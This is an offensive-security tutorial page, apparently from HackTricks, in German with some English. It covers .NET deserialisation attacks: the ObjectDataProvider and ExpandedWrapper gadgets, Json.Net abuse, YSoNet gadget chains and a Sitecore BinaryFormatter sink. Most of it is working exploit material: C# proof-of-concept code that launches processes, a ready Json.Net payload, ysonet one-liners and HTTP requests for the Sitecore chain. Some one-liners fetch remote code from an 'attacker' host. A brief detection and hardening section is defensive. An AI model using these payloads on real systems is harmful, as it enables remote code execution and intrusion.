15 KiB
Basic .Net Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Dieser Beitrag widmet sich dem Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erhalten, und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.
ObjectDataProvider Gadget
Aus der Dokumentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse erlaubt es, ein beliebiges Objekt zu kapseln, MethodParameters zu verwenden, um beliebige Parameter zu setzen, und dann mithilfe von MethodName eine beliebige Funktion des beliebigen Objekts mit den angegebenen Parametern aufzurufen.
Daher wird das beliebige Objekt während der Deserialisierung eine Funktion mit Parametern ausführen.
Wie ist das möglich
Der Namespace System.Windows.Data, zu finden in der PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.
Mit dnSpy kann man den Code der Klasse, die uns interessiert, inspizieren. Im Bild unten sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Wie Sie sehen können, wird beim Setzen von MethodName
base.Refresh()
aufgerufen. Schauen wir uns an, was das macht:
Ok, sehen wir uns an, was this.BeginQuery()
macht. BeginQuery
wird von ObjectDataProvider
überschrieben und das ist, was es tut:
Beachte, dass am Ende des Codes this.QueryWorke(null)
aufgerufen wird. Schauen wir, was das ausführt:
Beachte, dass dies nicht der komplette Code der Funktion QueryWorker
ist, aber es zeigt den interessanten Teil: Der Code ruft this.InvokeMethodOnInstance(out ex);
auf — das ist die Zeile, in der die gesetzte Methode aufgerufen wird.
Wenn du überprüfen möchtest, dass allein das Setzen von MethodName** dazu führt, dass es ausgeführt wird**, kannst du diesen Code ausführen:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType
). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process
for example). You can find more information about the DotNetNuke vuln here.
Diese Klasse erlaubt es, spezifizieren die Objekttypen der Objekte, die in einer gegebenen Instanz gekapselt sind. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
Das ist sehr nützlich für Fälle wie zuvor gezeigt, weil wir in der Lage sein werden, einbetten _ObjectDataProvider** in einer **ExpandedWrapper _ Instanz und bei der Deserialisierung diese Klasse wird erstellen das OjectDataProvider Objekt, das die in MethodName angegebene Funktion ausführen wird.
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Auf der official web page wird angegeben, dass diese Bibliothek es ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider gadget deserialisieren könnten, könnten wir allein durch das Deserialisieren eines Objekts eine RCE auslösen.
Json.Net Beispiel
Zunächst sehen wir uns ein Beispiel an, wie man mit dieser Bibliothek ein Objekt serialisieren/deserialisieren kann:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Missbrauch von Json.Net
Mit ysoserial.net habe ich den Exploit erstellt:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In diesem Code können Sie den Exploit testen, führen Sie ihn einfach aus und Sie werden sehen, dass calc ausgeführt wird:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Die ObjectDataProvider + ExpandedWrapper technique, oben vorgestellt, ist nur eine von VIELEN gadget chains, die ausgenutzt werden können, wenn eine Anwendung unsafe .NET deserialization durchführt. Moderne red-team tooling wie YSoNet (und das ältere ysoserial.net) automatisieren die Erstellung von ready-to-use malicious object graphs für Dutzende von Gadgets und Serialisierungsformaten.
Nachfolgend eine komprimierte Referenz der nützlichsten Chains, die mit YSoNet geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zum Erzeugen der Payloads.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Korrumpiert den DelegateSerializationHolder -Datensatz, sodass der Delegate nach der Materialisierung auf jede vom Angreifer bereitgestellte Methode zeigt (z. B. Process.Start ) |
BinaryFormatter , SoapFormatter , NetDataContractSerializer |
ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Missbraucht System.Workflow.ComponentModel.ActivitySurrogateSelector , um die .NET ≥4.8 Typ-Filterung zu umgehen und direkt den Konstruktor einer bereitgestellten Klasse aufzurufen oder eine C#-Datei zur Laufzeit zu kompilieren |
BinaryFormatter , NetDataContractSerializer , LosFormatter |
ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Nutzt die legacy XML-Darstellung von System.Data.DataSet , um beliebige Typen zu instanziieren, indem die <ColumnMapping> / <DataType> -Felder gefüllt werden (optional kann die Assembly mit --spoofedAssembly gefälscht werden) |
LosFormatter , BinaryFormatter , XmlSerializer |
ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Auf WPF-fähigen Laufzeiten (> .NET 5) verknüpft es Property-Getter, bis System.CodeDom.Compiler.CompilerResults erreicht ist, und kompiliert oder lädt dann eine mit -c gelieferte DLL |
Json.NET typeless, MessagePack typeless |
ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | Verwendet WPF System.Windows.Data.ObjectDataProvider , um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische --xamlurl -Variante hinzu, um bösartigen XAML remote zu hosten |
BinaryFormatter , Json.NET , XAML , etc. |
ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Betten ScriptBlock in System.Management.Automation.PSObject ein, der ausgeführt wird, wenn PowerShell das Objekt deserialisiert |
PowerShell remoting, BinaryFormatter |
ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
Tip
Alle Payloads werden standardmäßig auf stdout geschrieben, wodurch es trivial ist, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, Base64-Encoder, HTTP-Clients).
YSoNet bauen / installieren
Wenn keine vorkompilierten Binärdateien unter Actions ➜ Artifacts / Releases verfügbar sind, richtet der folgende PowerShell-Einzeiler eine Build-Umgebung ein, klont das Repository und kompiliert alles im Release-Modus:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Die kompilierte ysonet.exe
befindet sich dann in ysonet/bin/Release/
.
Erkennung & Härtung
- Erkennen unerwarteter Kindprozesse von
w3wp.exe
,PowerShell.exe
oder jedem Prozess, der benutzereingabebasierte Daten deserialisiert (z. B.MessagePack
,Json.NET
). - Aktiviere und erzwinge Type-Filtering (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.), wann immer der veralteteBinaryFormatter
/NetDataContractSerializer
nicht entfernt werden kann. - Wo möglich zu
System.Text.Json
oderDataContractJsonSerializer
mit Whitelist-basierten Convertern migrieren. - Verhindere das Laden gefährlicher WPF-Assemblies (
PresentationFramework
,System.Workflow.*
) in Webprozessen, die diese niemals benötigen sollten.
Praxisbeispiel: Sitecore convertToRuntimeHtml → BinaryFormatter
Ein praktischer .NET-Sink, der in authentifizierten Sitecore XP Content Editor-Flows erreichbar ist:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
kapseltnew BinaryFormatter().Deserialize(...)
. - Auslösepfad: pipeline
convertToRuntimeHtml
→ConvertWebControls
, die nach einem Geschwisterelement mitid="{iframeId}_inner"
sucht und einvalue
-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird in einen string gecastet und in das HTML eingefügt.
Minimaler End‑to‑End (authentifiziert):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: any BinaryFormatter chain returning a string (Nebeneffekte laufen während der Deserialisierung). Siehe YSoNet/ysoserial.net, um payloads zu erzeugen.
Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem sink führt:
{{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}}
Referenzen
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
{{#include ../../banners/hacktricks-training.md}}